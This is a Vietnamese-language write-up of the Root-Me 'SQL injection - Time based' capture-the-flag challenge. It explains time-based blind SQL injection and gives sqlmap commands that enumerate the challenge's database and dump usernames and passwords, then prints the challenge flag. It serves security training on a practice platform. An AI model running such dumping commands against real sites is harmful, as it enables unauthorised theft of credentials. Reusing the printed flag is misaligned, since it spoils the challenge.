Skip to content
Tags

SQL injection - Time based

Estimated time to read: 4 minutes

May 03, 2023


Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Time-based

Link challenge này tại http://challenge01.root-me.org/web-serveur/ch40/

Tổng quan

Trong challenge này, mục tiêu của ta là lấy được password admin.

Time-based SQL Injection là một kỹ thuật SQL Injection suy luận dựa trên việc gửi một truy vấn SQL đến cơ sở dữ liệu, buộc cơ sở dữ liệu phải đợi một khoảng thời gian xác định (tính bằng giây) trước khi phản hồi. Về định nghĩa thì hơi khó hiểu, tôi sẽ ví dụ như sau:

Ví dụ: Ta cần check password một tài khoản có username là admin bằng cách brute force

  • Ta biết password có n kí tự và đặt là S[n]

  • Ta sẽ gửi request lần lượt từ S[0] -> S[n-1], nếu so khớp S[0] trùng với S[0] trong password thì cho nó ngủ 5s với thời gian phản hồi như thế, ta có thể biết được kí tự S[0] là kí tự gì. Tương tự đến S[n-1].

Kịch bản tấn công

Bước 1: Kiểm tra website

Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem danh sách tài khoản

Có thể thấy, sau một vài thao tác truy cập danh sách tài khoản thì đều yêu cầu login tài khoản mới được quyền xem

Bước 2: Khai thác website

Đầu tiên, ta dùng sqlmap để quét website và đặt thời gian cho CSDL phản hồi là 10s bằng lệnh sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-sec=10 --dbs

Image title

Hình ảnh mô tả kết quả câu lệnh
Chậm lại và suy nghĩ 1

Nếu không dùng --time-sec=10, liệu còn cách nào có thể quét ra database public không?

Giải quyết chậm lại suy nghĩ

Tôi đã nhúng 1 hình ảnh thể hiện cách giải nhằm đâu đó trong website này, bạn đọc tìm thử nhé. Cách tìm giống như bài nào đó phía trên 😸 😸 😸

Roài, ta tìm table trong database public thôi nào !!!!!

Dùng lệnh sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-sec=10 -D public --tables

Image title

Hình ảnh mô tả kết quả câu lệnh

Từ đây, ta thấy được table users, tiến hành lấy các cột ở table và cuối cùng dump dữ liệu, ta sẽ được flag

sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-sec=10 -D public -T users --columns
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-sec=10 -D public -T users -C id,email,usermame,password --dump

Image title

Hình ảnh mô tả kết quả câu lệnh

Flag

T!m3B@s3DSQL!

Comments